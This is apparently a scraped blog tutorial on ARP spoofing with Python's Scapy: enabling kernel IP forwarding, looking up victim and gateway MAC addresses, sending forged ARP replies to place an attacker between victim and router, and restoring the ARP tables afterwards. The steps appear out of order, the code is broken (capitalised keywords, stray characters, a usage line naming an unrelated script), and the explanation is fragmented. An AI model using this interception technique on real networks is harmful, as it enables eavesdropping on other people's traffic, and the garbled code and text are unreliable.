Os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") Print("\nUsage:\n python hd_tcp_syn.py network_range\n") Send(ARP(op = 2, pdst = victimIP, psrc = gatewayIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gatewayMAC), count = 7) Send(ARP(op = 2, pdst = gatewayIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7) If we don’t do this than it will be very obvious that something has happened. It’s not enough to trick the machines, once our attack is over, we need to re-assign the target’s addresses so they know where to send their information properly. Step III - Un-doing the attack/ Re-ARPing Send(ARP(op = 2, pdst = gatewayIP, psrc = victimIP, hwdst= gm)) Send(ARP(op = 2, pdst = victimIP, psrc = gatewayIP, hwdst= vm)) In this step we are tricking eachmachine into thinking that the other party is our machine.ĪRP reply to each of the targets telling them that we are the other target, placing ourselves in between them. def get_mac(IP):Īns, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 2, iface = interface, inter = 0.1) We can do this by making ARP requests and returning the result. In order to create our ARP responses, we’ll need the victim and router MAC addresses. More on kernel IP forwarding: What is kernel IP forwarding? > os.system('echo 0 > /proc/sys/net/ipv4/ip_forward') # disable kernel IP forwarding > os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') # enable kernel IP forwarding
0 Comments
Leave a Reply. |